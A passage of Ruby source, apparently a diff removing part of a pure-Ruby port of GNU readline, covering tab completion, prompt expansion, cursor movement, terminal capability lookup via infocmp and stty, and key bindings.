quoting characters. - @rl_basic_quote_characters = "\"'" - - # The list of characters that signal a break between words for - # rl_complete_internal. The default list is the contents of - # rl_basic_word_break_characters. - @rl_completer_word_break_characters = nil - - # Hook function to allow an application to set the completion word - # break characters before readline breaks up the line. Allows - # position-dependent word break characters. - @rl_completion_word_break_hook = nil - - # List of characters which can be used to quote a substring of the line. - # Completion occurs on the entire substring, and within the substring - # rl_completer_word_break_characters are treated as any other character, - # unless they also appear within this list. - @rl_completer_quote_characters = nil - - # List of characters that should be quoted in filenames by the completer. - @rl_filename_quote_characters = nil - - # List of characters that are word break characters, but should be left - # in TEXT when it is passed to the completion function. The shell uses - # this to help determine what kind of completing to do. - @rl_special_prefixes = nil - - # If non-zero, then disallow duplicates in the matches. - @rl_ignore_completion_duplicates = true - - # Non-zero means that the results of the matches are to be treated - # as filenames. This is ALWAYS zero on entry, and can only be changed - # within a completion entry finder function. - @rl_filename_completion_desired = false - - # Non-zero means that the results of the matches are to be quoted using - # double quotes (or an application-specific quoting mechanism) if the - # filename contains any characters in rl_filename_quote_chars. This is - # ALWAYS non-zero on entry, and can only be changed within a completion - # entry finder function. - @rl_filename_quoting_desired = true - - # This function, if defined, is called by the completer when real - # filename completion is done, after all the matching names have been - # generated. It is passed a (char**) known as matches in the code below. - # It consists of a NULL-terminated array of pointers to potential - # matching strings. The 1st element (matches[0]) is the maximal - # substring that is common to all matches. This function can re-arrange - # the list of matches as required, but all elements of the array must be - # free()'d if they are deleted. The main intent of this function is - # to implement FIGNORE a la SunOS csh. - @rl_ignore_some_completions_function = nil - - # Set to a function to quote a filename in an application-specific fashion. - # Called with the text to quote, the type of match found (single or multiple) - # and a pointer to the quoting character to be used, which the function can - # reset if desired. - #rl_filename_quoting_function = rl_quote_filename - - # Function to call to remove quoting characters from a filename. Called - # before completion is attempted, so the embedded quotes do not interfere - # with matching names in the file system. Readline doesn't do anything - # with this it's set only by applications. - @rl_filename_dequoting_function = nil - - # Function to call to decide whether or not a word break character is - # quoted. If a character is quoted, it does not break words for the - # completer. - @rl_char_is_quoted_p = nil - - # If non-zero, the completion functions don't append anything except a - # possible closing quote. This is set to 0 by rl_complete_internal and - # may be changed by an application-specific completion function. - @rl_completion_suppress_append = false - - # Character appended to completed words when at the end of the line. The - # default is a space. - @rl_completion_append_character = ' ' - - # If non-zero, the completion functions don't append any closing quote. - # This is set to 0 by rl_complete_internal and may be changed by an - # application-specific completion function. - @rl_completion_suppress_quote = false - - # Set to any quote character readline thinks it finds before any application - # completion function is called. - @rl_completion_quote_character = 0 - - # Set to a non-zero value if readline found quoting anywhere in the word to - # be completed set before any application completion function is called. - @rl_completion_found_quote = false - - # If non-zero, a slash will be appended to completed filenames that are - # symbolic links to directory names, subject to the value of the - # mark-directories variable (which is user-settable). This exists so - # that application completion functions can override the user's preference - # (set via the mark-symlinked-directories variable) if appropriate. - # It's set to the value of _rl_complete_mark_symlink_dirs in - # rl_complete_internal before any application-specific completion - # function is called, so without that function doing anything, the user's - # preferences are honored. - @rl_completion_mark_symlink_dirs = false - - # If non-zero, inhibit completion (temporarily). - @rl_inhibit_completion = false - - # Variables local to this file. - - # Local variable states what happened during the last completion attempt. - @completion_changed_buffer = nil - - # Non-zero means treat 0200 bit in terminal input as Meta bit. - @_rl_meta_flag = false - - # Stack of previous values of parsing_conditionalized_out. - @if_stack = [] - @if_stack_depth = 0 - - - # The last key bindings file read. - @last_readline_init_file = nil - - # The file we're currently reading key bindings from. - @current_readline_init_file = nil - @current_readline_init_include_level = 0 - @current_readline_init_lineno = 0 - - ENV["HOME"] ||= ENV["HOMEDRIVE"]+ENV["HOMEPATH"] - - @directory = nil - @filename = nil - @dirname = nil - @users_dirname = nil - @filename_len = 0 - - attr_accessor :rl_attempted_completion_function,:rl_deprep_term_function, - :rl_event_hook,:rl_attempted_completion_over,:rl_basic_quote_characters, - :rl_basic_word_break_characters,:rl_completer_quote_characters, - :rl_completer_word_break_characters,:rl_completion_append_character, - :rl_filename_quote_characters,:rl_instream,:rl_library_version,:rl_outstream, - :rl_readline_name,:history_length,:history_base - - module_function - # Okay, now we write the entry_function for filename completion. In the - # general case. Note that completion in the shell is a little different - # because of all the pathnames that must be followed when looking up the - # completion for a command. - def rl_filename_completion_function(text, state) - # If we don't have any state, then do some initialization. - if (state == 0) - # If we were interrupted before closing the directory or reading - #all of its contents, close it. - if(@directory) - @directory.close - @directory = nil - end - text.delete!(0.chr) - if text.length == 0 - text = "." - end - - @filename = '' - @directory = nil - dir = text.dup - # We also support "~user" and "~/" syntax. - if (dir[0,1] == '~') - @users_dirname = dir.dup - dir = File.expand_path(dir) - end - - # Try the whole thing as a directory and if that fails, try dirname - # and basename. If that doesn't work either, then it wasn't meant to - # be; we don't have a directory to open or a filename to complete. - if File.directory?(dir) and File.readable?(dir) - @directory = Dir.new(dir) - @dirname = dir.dup - elsif File.directory?(File.dirname(dir)) and File.readable?(File.dirname(dir)) - @dirname = File.dirname(dir) - @directory = Dir.new(@dirname) - @filename = File.basename(dir) - end - - # Save the version of the directory that the user typed if we didn't - # have a reason to do so before - @users_dirname ||= @dirname.dup - - # The directory completion hook should perform any necessary - # dequoting. - if (@rl_directory_completion_hook) - send(rl_directory_completion_hook,@dirname) - elsif (@rl_completion_found_quote && @rl_filename_dequoting_function) - # delete single and double quotes - temp = send(@rl_filename_dequoting_function,@users_dirname, @rl_completion_quote_character) - @users_dirname = temp - end - - # Now dequote a non-null filename. - if (@filename && @filename.length>0 && @rl_completion_found_quote && @rl_filename_dequoting_function) - # delete single and double quotes - temp = send(@rl_filename_dequoting_function,@filename, @rl_completion_quote_character) - @filename = temp - end - - @filename_len = @filename.length - @rl_filename_completion_desired = true - end - - # At this point we should entertain the possibility of hacking wildcarded - # filenames, like /usr/man/man<WILD>/te<TAB>. If the directory name - # contains globbing characters, then build an array of directories, and - # then map over that list while completing. - # *** UNIMPLEMENTED *** - - # Now that we have some state, we can read the directory. - entry = nil - while(@directory && (entry = @directory.read)) - d_name = entry - # Special case for no filename. If the user has disabled the - # `match-hidden-files' variable, skip filenames beginning with `.'. - #All other entries except "." and ".." match. - if (@filename_len == 0) - next if (!@_rl_match_hidden_files && d_name[0,1] == '.') - break if (d_name != '.' && d_name != '..') - else - # Otherwise, if these match up to the length of filename, then - # it is a match. - - if (@_rl_completion_case_fold) - break if d_name =~ /^#{Regexp.escape(@filename)}/i - else - break if d_name =~ /^#{Regexp.escape(@filename)}/ - end - end - end - - if entry.nil? - if @directory - @directory.close - @directory = nil - end - @dirname = nil - @filename = nil - @users_dirname = nil - - return nil - else - if (@dirname != '.') - if (@rl_complete_with_tilde_expansion && @users_dirname[0,1] == "~") - temp = @dirname - else - temp = @users_dirname - end - - # make sure the directory name has a trailing slash before - # appending the file name - temp += '/' if (temp[-1,1] != '/') - temp += entry - else - temp = entry.dup - end - return (temp) - end - end - - # A completion function for usernames. - # TEXT contains a partial username preceded by a random - # character (usually `~'). - def rl_username_completion_function(text, state) - return nil if RUBY_PLATFORM =~ /mswin|mingw/ - - if (state == 0) - first_char = text[0,1] - first_char_loc = (first_char == '~' ? 1 : 0) - - username = text[first_char_loc..-1] - namelen = username.length - Etc.setpwent() - end - - while (entry = Etc.getpwent()) - # Null usernames should result in all users as possible completions. - break if (namelen == 0 || entry.name =~ /^#{username}/ ) - end - - if entry.nil? - Etc.endpwent() - return nil - else - value = text.dup - value[first_char_loc..-1] = entry.name - - if (first_char == '~') - @rl_filename_completion_desired = true - end - - return (value) - end - end - - #************************************************************* - # - # Application-callable completion match generator functions - # - #************************************************************* - - # Return an array of (char *) which is a list of completions for TEXT. - # If there are no completions, return a NULL pointer. - # The first entry in the returned array is the substitution for TEXT. - # The remaining entries are the possible completions. - # The array is terminated with a NULL pointer. - # - # ENTRY_FUNCTION is a function of two args, and returns a (char *). - # The first argument is TEXT. - # The second is a state argument it should be zero on the first call, and - # non-zero on subsequent calls. It returns a NULL pointer to the caller - # when there are no more matches. - # - def rl_completion_matches(text, entry_function) - matches = 0 - match_list_size = 10 - match_list = [] - match_list[1] = nil - while (string = send(entry_function, text, matches)) - match_list[matches+=1] = string - match_list[matches+1] = nil - end - - # If there were any matches, then look through them finding out the - # lowest common denominator. That then becomes match_list[0]. - if (matches!=0) - compute_lcd_of_matches(match_list, matches, text) - else # There were no matches. - match_list = nil - end - return (match_list) - end - - def _rl_to_lower(char) - char.nil? ? nil : char.chr.downcase - end - - # Find the common prefix of the list of matches, and put it into - # matches[0]. - def compute_lcd_of_matches(match_list, matches, text) - # If only one match, just use that. Otherwise, compare each - # member of the list with the next, finding out where they - # stop matching. - if (matches == 1) - match_list[0] = match_list[1] - match_list[1] = nil - return 1 - end - - i = 1 - low = 100000 - while(i<matches) - if (@_rl_completion_case_fold) - si = 0 - while((c1 = _rl_to_lower(match_list[i][si])) && - (c2 = _rl_to_lower(match_list[i + 1][si]))) - if !@rl_byte_oriented - if(!_rl_compare_chars(match_list[i],si,match_list[i+1],si)) - break - elsif ((v = _rl_get_char_len(match_list[i][si..-1])) > 1) - si += v - 1 - end - else - break if (c1 != c2) - end - si += 1 - end - else - si = 0 - while((c1 = match_list[i][si]) && - (c2 = match_list[i + 1][si])) - if !@rl_byte_oriented - if(!_rl_compare_chars(match_list[i],si,match_list[i+1],si)) - break - elsif ((v = _rl_get_char_len(match_list[i][si..-1])) > 1) - si += v - 1 - end - else - break if (c1 != c2) - end - si += 1 - end - end - - if (low > si) - low = si - end - i += 1 - end - - # If there were multiple matches, but none matched up to even the - # first character, and the user typed something, use that as the - # value of matches[0]. - if (low == 0 && text && text.length>0 ) - match_list[0] = text.dup - else - # XXX - this might need changes in the presence of multibyte chars - - # If we are ignoring case, try to preserve the case of the string - # the user typed in the face of multiple matches differing in case. - if (@_rl_completion_case_fold) - - # We're making an assumption here: - # IF we're completing filenames AND - # the application has defined a filename dequoting function AND - # we found a quote character AND - # the application has requested filename quoting - # THEN - # we assume that TEXT was dequoted before checking against - # the file system and needs to be dequoted here before we - # check against the list of matches - # FI - if (@rl_filename_completion_desired && - @rl_filename_dequoting_function && - @rl_completion_found_quote && - @rl_filename_quoting_desired) - - dtext = send(@rl_filename_dequoting_function,text, @rl_completion_quote_character) - text = dtext - end - - # sort the list to get consistent answers. - match_list = [match_list[0]] + match_list[1..-1].sort - - si = text.length - if (si <= low) - for i in 1 .. matches - if match_list[i][0,si] == text - match_list[0] = match_list[i][0,low] - break - end - # no casematch, use first entry - if (i > matches) - match_list[0] = match_list[1][0,low] - end - end - else - # otherwise, just use the text the user typed. - match_list[0] = text[0,low] - end - else - match_list[0] = match_list[1][0,low] - end - end - - return matches - end - - - def rl_vi_editing_mode(count, key) - _rl_set_insert_mode(RL_IM_INSERT, 1) # vi mode ignores insert mode - @rl_editing_mode = @vi_mode - rl_vi_insertion_mode(1, key) - 0 - end - - # Switching from one mode to the other really just involves - # switching keymaps. - def rl_vi_insertion_mode(count, key) - @_rl_keymap = @vi_insertion_keymap - @_rl_vi_last_key_before_insert = key - 0 - end - - def rl_emacs_editing_mode(count, key) - @rl_editing_mode = @emacs_mode - _rl_set_insert_mode(RL_IM_INSERT, 1) # emacs mode default is insert mode - @_rl_keymap = @emacs_standard_keymap - 0 - end - - # Function for the rest of the library to use to set insert/overwrite mode. - def _rl_set_insert_mode(im, force) - @rl_insert_mode = im - end - - # Toggle overwrite mode. A positive explicit argument selects overwrite - # mode. A negative or zero explicit argument selects insert mode. - def rl_overwrite_mode(count, key) - if (!@rl_explicit_arg) - _rl_set_insert_mode(@rl_insert_mode ^ 1, 0) - elsif (count > 0) - _rl_set_insert_mode(RL_IM_OVERWRITE, 0) - else - _rl_set_insert_mode(RL_IM_INSERT, 0) - end - 0 - end - - - # A function for simple tilde expansion. - def rl_tilde_expand(ignore, key) - _end = @rl_point - start = _end - 1 - - if (@rl_point == @rl_end && @rl_line_buffer[@rl_point,1] == '~' ) - homedir = File.expand_path("~") - _rl_replace_text(homedir, start, _end) - return (0) - elsif (@rl_line_buffer[start,1] != '~') - while(!whitespace(@rl_line_buffer[start,1]) && start >= 0) - start -= 1 - end - start+=1 - end - - _end = start - begin - _end+=1 - end while(!whitespace(@rl_line_buffer[_end,1]) && _end < @rl_end) - - if (whitespace(@rl_line_buffer[_end,1]) || _end >= @rl_end) - _end-=1 - end - - # If the first character of the current word is a tilde, perform - #tilde expansion and insert the result. If not a tilde, do - # nothing. - if (@rl_line_buffer[start,1] == '~') - - len = _end - start + 1 - temp = @rl_line_buffer[start,len] - homedir = File.expand_path(temp) - temp = nil - - _rl_replace_text(homedir, start, _end) - end - 0 - end - - # Clean up the terminal and readline state after catching a signal, before - # resending it to the calling application. - def rl_cleanup_after_signal() - _rl_clean_up_for_exit() - if (@rl_deprep_term_function) - send(@rl_deprep_term_function) - end - rl_clear_pending_input() - rl_clear_signals() - end - - def _rl_clean_up_for_exit() - if @readline_echoing_p - _rl_move_vert(@_rl_vis_botlin) - @_rl_vis_botlin = 0 - @rl_outstream.flush - rl_restart_output(1, 0) - end - end - - # Move the cursor from _rl_last_c_pos to NEW, which are buffer indices. - # (Well, when we don't have multibyte characters, _rl_last_c_pos is a - # buffer index.) - # DATA is the contents of the screen line of interest; i.e., where - # the movement is being done. - def _rl_move_cursor_relative(new, data, start=0) - - woff = w_offset(@_rl_last_v_pos, @wrap_offset) - cpos = @_rl_last_c_pos - - if !@rl_byte_oriented - dpos = _rl_col_width(data, start, start+new) - - if (dpos > @prompt_last_invisible) # XXX - don't use woff here - dpos -= woff - # Since this will be assigned to _rl_last_c_pos at the end (more - # precisely, _rl_last_c_pos == dpos when this function returns), - # let the caller know. - @cpos_adjusted = true - end - else - dpos = new - end - # If we don't have to do anything, then return. - if (cpos == dpos) - return - end - - if @hConsoleHandle - csbi = 0.chr * 24 - @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi) - x,y = csbi[4,4].unpack('SS') - x = dpos - @SetConsoleCursorPosition.Call(@hConsoleHandle,y*65536+x) - @_rl_last_c_pos = dpos - return - end - - # It may be faster to output a CR, and then move forwards instead - # of moving backwards. - # i == current physical cursor position. - if !@rl_byte_oriented - i = @_rl_last_c_pos - else - i = @_rl_last_c_pos - woff - end - - if (dpos == 0 || cr_faster(dpos, @_rl_last_c_pos) || - (@_rl_term_autowrap && i == @_rl_screenwidth)) - @rl_outstream.write(@_rl_term_cr) - cpos = @_rl_last_c_pos = 0 - end - - if (cpos < dpos) - # Move the cursor forward. We do it by printing the command - # to move the cursor forward if there is one, else print that - # portion of the output buffer again. Which is cheaper? - - # The above comment is left here for posterity. It is faster - # to print one character (non-control) than to print a control - # sequence telling the terminal to move forward one character. - # That kind of control is for people who don't know what the - # data is underneath the cursor. - - # However, we need a handle on where the current display position is - # in the buffer for the immediately preceding comment to be true. - # In multibyte locales, we don't currently have that info available. - # Without it, we don't know where the data we have to display begins - # in the buffer and we have to go back to the beginning of the screen - # line. In this case, we can use the terminal sequence to move forward - # if it's available. - if !@rl_byte_oriented - if (@_rl_term_forward_char) - @rl_outstream.write(@_rl_term_forward_char * (dpos-cpos)) - else - @rl_outstream.write(@_rl_term_cr) - @rl_outstream.write(data[start,new]) - end - else - @rl_outstream.write(data[start+cpos,new-cpos]) - end - elsif (cpos > dpos) - _rl_backspace(cpos - dpos) - end - @_rl_last_c_pos = dpos - end - - - # PWP: move the cursor up or down. - def _rl_move_vert(to) - if (@_rl_last_v_pos == to || to > @_rl_screenheight) - return - end - - if ((delta = to - @_rl_last_v_pos) > 0) - @rl_outstream.write("\n"*delta) - @rl_outstream.write("\r") - @_rl_last_c_pos = 0 - else - if(@_rl_term_up) - @rl_outstream.write(@_rl_term_up*(-delta)) - end - end - @_rl_last_v_pos = to # Now TO is here - end - - def rl_setstate(x) - (@rl_readline_state |= (x)) - end - - def rl_unsetstate(x) - (@rl_readline_state &= ~(x)) - end - - def rl_isstate(x) - (@rl_readline_state & (x))!=0 - end - - # Clear any pending input pushed with rl_execute_next() - def rl_clear_pending_input() - @rl_pending_input = 0 - rl_unsetstate(RL_STATE_INPUTPENDING) - 0 - end - - def rl_restart_output(count, key) - 0 - end - - def rl_clear_signals() - if Signal.list['WINCH'] - trap "WINCH",@def_proc - end - end - - def rl_set_signals() - if Signal.list['WINCH'] - @def_proc = trap "WINCH",Proc.new{rl_sigwinch_handler(0)} - end - end - - # Current implementation: - # \001 (^A) start non-visible characters - # \002 (^B) end non-visible characters - # all characters except \001 and \002 (following a \001) are copied to - # the returned string all characters except those between \001 and - # \002 are assumed to be `visible'. - def expand_prompt(pmt) - # Short-circuit if we can. - if (@rl_byte_oriented && pmt[RL_PROMPT_START_IGNORE].nil?) - r = pmt.dup - lp = r.length - lip = 0 - niflp = 0 - vlp = lp - return [r,lp,lip,niflp,vlp] - end - - l = pmt.length - ret = '' - invfl = 0 # invisible chars in first line of prompt - invflset = 0 # we only want to set invfl once - - igstart = 0 - rl = 0 - ignoring = false - last = ninvis = physchars = 0 - for pi in 0 ... pmt.length - # This code strips the invisible character string markers - #RL_PROMPT_START_IGNORE and RL_PROMPT_END_IGNORE - if (!ignoring && pmt[pi,1] == RL_PROMPT_START_IGNORE) # XXX - check ignoring? - ignoring = true - igstart = pi - next - elsif (ignoring && pmt[pi,1] == RL_PROMPT_END_IGNORE) - ignoring = false - if (pi != (igstart + 1)) - last = ret.length - 1 - end - next - else - if !@rl_byte_oriented - pind = pi - ind = _rl_find_next_mbchar(pmt, pind, 1, MB_FIND_NONZERO) - l = ind - pind - while (l>0) - l-=1 - ret << pmt[pi] - pi += 1 - end - if (!ignoring) - rl += ind - pind - physchars += _rl_col_width(pmt, pind, ind) - else - ninvis += ind - pind - end - pi-=1 # compensate for later increment - else - ret << pmt[pi] - if (!ignoring) - rl+=1 # visible length byte counter - physchars+=1 - else - ninvis+=1 # invisible chars byte counter - end - - if (invflset == 0 && rl >= @_rl_screenwidth) - invfl = ninvis - invflset = 1 - end - end - end - end - - if (rl < @_rl_screenwidth) - invfl = ninvis - end - lp = rl - lip = last - niflp = invfl - vlp = physchars - return [ret,lp,lip,niflp,vlp] - end - - - #* - #* Expand the prompt string into the various display components, if - #* necessary. - #* - #* local_prompt = expanded last line of string in rl_display_prompt - #* (portion after the final newline) - #* local_prompt_prefix = portion before last newline of rl_display_prompt, - #* expanded via expand_prompt - #* prompt_visible_length = number of visible characters in local_prompt - #* prompt_prefix_length = number of visible characters in local_prompt_prefix - #* - #* This function is called once per call to readline(). It may also be - #* called arbitrarily to expand the primary prompt. - #* - #* The return value is the number of visible characters on the last line - #* of the (possibly multi-line) prompt. - #* - def rl_expand_prompt(prompt) - @local_prompt = @local_prompt_prefix = nil - @local_prompt_len = 0 - @prompt_last_invisible = @prompt_invis_chars_first_line = 0 - @prompt_visible_length = @prompt_physical_chars = 0 - - if (prompt.nil? || prompt == '') - return (0) - end - - pi = prompt.rindex("\n") - if pi.nil? - # The prompt is only one logical line, though it might wrap. - @local_prompt,@prompt_visible_length,@prompt_last_invisible,@prompt_invis_chars_first_line,@prompt_physical_chars = - expand_prompt(prompt) - @local_prompt_prefix = nil - @local_prompt_len = @local_prompt ? @local_prompt.length : 0 - return (@prompt_visible_length) - else - # The prompt spans multiple lines. - pi += 1 if prompt.length!=pi+1 - t = pi - @local_prompt,@prompt_visible_length,@prompt_last_invisible,_,@prompt_physical_chars = expand_prompt(prompt[pi..-1]) - c = prompt[t] - prompt[t] = 0.chr - # The portion of the prompt string up to and including the - #final newline is now null-terminated. - @local_prompt_prefix,@prompt_prefix_length,_,@prompt_invis_chars_first_line, = expand_prompt(prompt) - prompt[t] = c - @local_prompt_len = @local_prompt ? @local_prompt.length : 0 - return (@prompt_prefix_length) - end - end - - # Set up the prompt and expand it. Called from readline() and - # rl_callback_handler_install (). - def rl_set_prompt(prompt) - @rl_prompt = prompt ? prompt.dup : nil - @rl_display_prompt = @rl_prompt ? @rl_prompt : "" - @rl_visible_prompt_length = rl_expand_prompt(@rl_prompt) - 0 - end - - def get_term_capabilities(buffer) - hash = {} - `infocmp -C`.split(':').select{|x| x =~ /(.*)=(.*)/ and hash[$1]=$2.gsub('\\E',"\e").gsub(/\^(.)/){($1[0].ord ^ ((?a..?z).include?($1[0]) ? 0x60 : 0x40)).chr}} - @_rl_term_at7 = hash["@7"] - @_rl_term_DC = hash["DC"] - @_rl_term_IC = hash["IC"] - @_rl_term_clreol = hash["ce"] - @_rl_term_clrpag = hash["cl"] - @_rl_term_cr = hash["cr"] - @_rl_term_dc = hash["dc"] - @_rl_term_ei = hash["ei"] - @_rl_term_ic = hash["ic"] - @_rl_term_im = hash["im"] - @_rl_term_kD = hash["kD"] - @_rl_term_kH = hash["kH"] - @_rl_term_kI = hash["kI"] - @_rl_term_kd = hash["kd"] - @_rl_term_ke = hash["ke"] - @_rl_term_kh = hash["kh"] - @_rl_term_kl = hash["kl"] - @_rl_term_kr = hash["kr"] - @_rl_term_ks = hash["ks"] - @_rl_term_ku = hash["ku"] - @_rl_term_backspace = hash["le"] - @_rl_term_mm = hash["mm"] - @_rl_term_mo = hash["mo"] - @_rl_term_forward_char = hash["nd"] - @_rl_term_pc = hash["pc"] - @_rl_term_up = hash["up"] - @_rl_visible_bell = hash["vb"] - @_rl_term_vs = hash["vs"] - @_rl_term_ve = hash["ve"] - @tcap_initialized = true - end - - # Set the environment variables LINES and COLUMNS to lines and cols, - # respectively. - def sh_set_lines_and_columns(lines, cols) - ENV["LINES"] = lines.to_s - ENV["COLUMNS"] = cols.to_s - end - - # Get readline's idea of the screen size. TTY is a file descriptor open - # to the terminal. If IGNORE_ENV is true, we do not pay attention to the - # values of $LINES and $COLUMNS. The tests for TERM_STRING_BUFFER being - # non-null serve to check whether or not we have initialized termcap. - def _rl_get_screen_size(tty, ignore_env) - - if @hConsoleHandle - csbi = 0.chr * 24 - @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi) - wc,wr = csbi[0,4].unpack('SS') - # wr,wc, = `mode con`.scan(/\d+\n/).map{|x| x.to_i} - @_rl_screenwidth = wc - @_rl_screenheight = wr - else - wr,wc = `stty size`.split(' ').map{|x| x.to_i} - @_rl_screenwidth = wc - @_rl_screenheight = wr - if ignore_env==0 && ENV['LINES'] - @_rl_screenheight = ENV['LINES'].to_i - end - if ignore_env==0 && ENV['COLUMNS'] - @_rl_screenwidth = ENV['COLUMNS'].to_i - end - end - - # If all else fails, default to 80x24 terminal. - if @_rl_screenwidth.nil? || @_rl_screenwidth <= 1 - @_rl_screenwidth = 80 - end - if @_rl_screenheight.nil? || @_rl_screenheight <= 0 - @_rl_screenheight = 24 - end - # If we're being compiled as part of bash, set the environment - # variables $LINES and $COLUMNS to new values. Otherwise, just - # do a pair of putenv () or setenv () calls. - sh_set_lines_and_columns(@_rl_screenheight, @_rl_screenwidth) - - if !@_rl_term_autowrap - @_rl_screenwidth-=1 - end - @_rl_screenchars = @_rl_screenwidth * @_rl_screenheight - end - - def tgetflag(name) - `infocmp -C -r`.scan(/\w{2}/).include?(name) - end - - # Return the function (or macro) definition which would be invoked via - # KEYSEQ if executed in MAP. If MAP is NULL, then the current keymap is - # used. TYPE, if non-NULL, is a pointer to an int which will receive the - # type of the object pointed to. One of ISFUNC (function), ISKMAP (keymap), - # or ISMACR (macro). - def rl_function_of_keyseq(keyseq, map, type) - map ||= @_rl_keymap - map[keyseq] - end - - # Bind the key sequence represented by the string KEYSEQ to - # the arbitrary pointer DATA. TYPE says what kind of data is - # pointed to by DATA, right now this can be a function (ISFUNC), - # a macro (ISMACR), or a keymap (ISKMAP). This makes new keymaps - # as necessary. The initial place to do bindings is in MAP. - def rl_generic_bind(type, keyseq, data, map) - map[keyseq] = data - 0 - end - - # Bind the key sequence represented by the string KEYSEQ to - # FUNCTION. This makes new keymaps as necessary. The initial - # place to do bindings is in MAP. - def rl_bind_keyseq_in_map(keyseq, function, map) - rl_generic_bind(ISFUNC, keyseq, function, map) - end - - - # Bind key sequence KEYSEQ to DEFAULT_FUNC if KEYSEQ is unbound. Right - # now, this is always used to attempt to bind the arrow keys, hence the - # check for rl_vi_movement_mode. - def rl_bind_keyseq_if_unbound_in_map(keyseq, default_func, kmap) - if (keyseq) - func = rl_function_of_keyseq(keyseq, kmap, nil) - if (func.nil? || func == :rl_vi_movement_mode) - return (rl_bind_keyseq_in_map(keyseq, default_func, kmap)) - else - return 1 - end - end - 0 - end - - def rl_bind_keyseq_if_unbound(keyseq, default_func) - rl_bind_keyseq_if_unbound_in_map(keyseq, default_func, @_rl_keymap) - end - - # Bind the arrow key sequences from the termcap description in MAP. - def bind_termcap_arrow_keys(map) - xkeymap = @_rl_keymap - @_rl_keymap = map - - rl_bind_keyseq_if_unbound(@_rl_term_ku, :rl_get_previous_history) - rl_bind_keyseq_if_unbound(@_rl_term_kd, :rl_get_next_history) - rl_bind_keyseq_if_unbound(@_rl_term_kr, :rl_forward_char) - rl_bind_keyseq_if_unbound(@_rl_term_kl, :rl_backward_char) - - rl_bind_keyseq_if_unbound(@_rl_term_kh, :rl_beg_of_line) # Home - rl_bind_keyseq_if_unbound(@_rl_term_at7, :rl_end_of_line) # End - - rl_bind_keyseq_if_unbound(@_rl_term_kD, :rl_delete) - rl_bind_keyseq_if_unbound(@_rl_term_kI, :rl_overwrite_mode) - - @_rl_keymap = xkeymap - end - - def _rl_init_terminal_io(terminal_name) - term = terminal_name ? terminal_name : ENV["TERM"] - @_rl_term_clrpag = @_rl_term_cr = @_rl_term_clreol = nil - tty = @rl_instream ? @rl_instream.fileno : 0 - - if no_terminal? - term = "dumb" - @_rl_bind_stty_chars = false - end - - @term_string_buffer ||= 0.chr * 2032 - - @term_buffer ||= 0.chr * 4080 - - buffer = @term_string_buffer - - tgetent_ret = (term != "dumb") ? 1 : -1 - - if (tgetent_ret <= 0) - buffer = @term_buffer = @term_string_buffer = nil - - @_rl_term_autowrap = false # used by _rl_get_screen_size - - # Allow calling application to set default height and width, using - #rl_set_screen_size - if (@_rl_screenwidth <= 0 || @_rl_screenheight <= 0) - _rl_get_screen_size(tty, 0) - end - - # Defaults. - if (@_rl_screenwidth <= 0 || @_rl_screenheight <= 0) - @_rl_screenwidth = 79 - @_rl_screenheight = 24 - end - - # Everything below here is used by the redisplay code (tputs). - @_rl_screenchars = @_rl_screenwidth * @_rl_screenheight - @_rl_term_cr = "\r" - @_rl_term_im = @_rl_term_ei = @_rl_term_ic = @_rl_term_IC = nil - @_rl_term_up = @_rl_term_dc = @_rl_term_DC = @_rl_visible_bell = nil - @_rl_term_ku = @_rl_term_kd = @_rl_term_kl = @_rl_term_kr = nil - @_rl_term_kh = @_rl_term_kH = @_rl_term_kI = @_rl_term_kD = nil - @_rl_term_ks = @_rl_term_ke = @_rl_term_at7 = nil - @_rl_term_mm = @_rl_term_mo = nil - @_rl_term_ve = @_rl_term_vs = nil - @_rl_term_forward_char = nil - @_rl_terminal_can_insert = @term_has_meta = false - - # Reasonable defaults for tgoto(). Readline currently only uses - # tgoto if _rl_term_IC or _rl_term_DC is defined, but just in case we - # change that later... - @_rl_term_backspace = "\b" - - return 0 - end - - get_term_capabilities(buffer) - - @_rl_term_cr ||= "\r" - @_rl_term_autowrap = !!(tgetflag("am") && tgetflag("xn")) - - # Allow calling application to set default height and width, using - # rl_set_screen_size - if (@_rl_screenwidth <= 0 || @_rl_screenheight <= 0) - _rl_get_screen_size(tty, 0) - end - - # "An application program can assume that the terminal can do - # character insertion if *any one of* the capabilities `IC', - # `im', `ic' or `ip' is provided." But we can't do anything if - # only `ip' is provided, so... - @_rl_terminal_can_insert = !!(@_rl_term_IC || @_rl_term_im || @_rl_term_ic) - - # Check to see if this terminal has a meta key and clear the capability - # variables if there is none. - @term_has_meta = !!(tgetflag("km") || tgetflag("MT")) - if !@term_has_meta - @_rl_term_mm = @_rl_term_mo = nil - end - - # Attempt to find and bind the arrow keys. Do not override already - # bound keys in an overzealous attempt, however. - - bind_termcap_arrow_keys(@emacs_standard_keymap) - - bind_termcap_arrow_keys(@vi_movement_keymap) - bind_termcap_arrow_keys(@vi_insertion_keymap) - - return 0 - end - - # New public way to set the system default editing chars to their readline - # equivalents. - def rl_tty_set_default_bindings(kmap) - h = Hash[*`stty -a`.scan(/(\w+) = ([^;]+);/).flatten] - h.each {|k,v| v.gsub!(/\^(.)/){($1[0].ord ^ ((?a..?z).include?($1[0]) ? 0x60 : 0x40)).chr}} - kmap[h['erase']] = :rl_rubout - kmap[h['kill']] = :rl_unix_line_discard - kmap[h['werase']] = :rl_unix_word_rubout - kmap[h['lnext']] = :rl_quoted_insert - end - - # If this system allows us to look at the values of the regular - # input editing characters, then bind them to their readline - # equivalents, iff the characters are not bound to keymaps. - def readline_default_bindings() - if @_rl_bind_stty_chars - rl_tty_set_default_bindings(@_rl_keymap) - end - end - - def _rl_init_eightbit() - - end - - - # Do key bindings from a file. If FILENAME is NULL it defaults - # to the first non-null filename from this list: - # 1. the filename used for the previous call - # 2. the value of the shell variable `INPUTRC' - # 3. ~/.inputrc - # 4. /etc/inputrc - # If the file existed and could be opened and read, 0 is returned, - # otherwise errno is returned. - def rl_read_init_file(filename) - - -=begin - # Default the filename. - filename ||= @last_readline_init_file - filename ||= ENV["INPUTRC"] - if (filename.nil? || filename == '') - filename = DEFAULT_INPUTRC - # Try to read DEFAULT_INPUTRC; fall back to SYS_INPUTRC on failure - if (_rl_read_init_file(filename, 0) == 0) - return 0 - end - filename = SYS_INPUTRC - end - - if RUBY_PLATFORM =~ /mswin|mingw/ - return 0 if (_rl_read_init_file(filename, 0) == 0) - filename = "~/_inputrc" - end - return (_rl_read_init_file(filename, 0)) -=end - # - # This code is too problematic at the moment - # Just hardcode things and move on - # - return 0 - end - - def _rl_read_init_file(filename, include_level) - 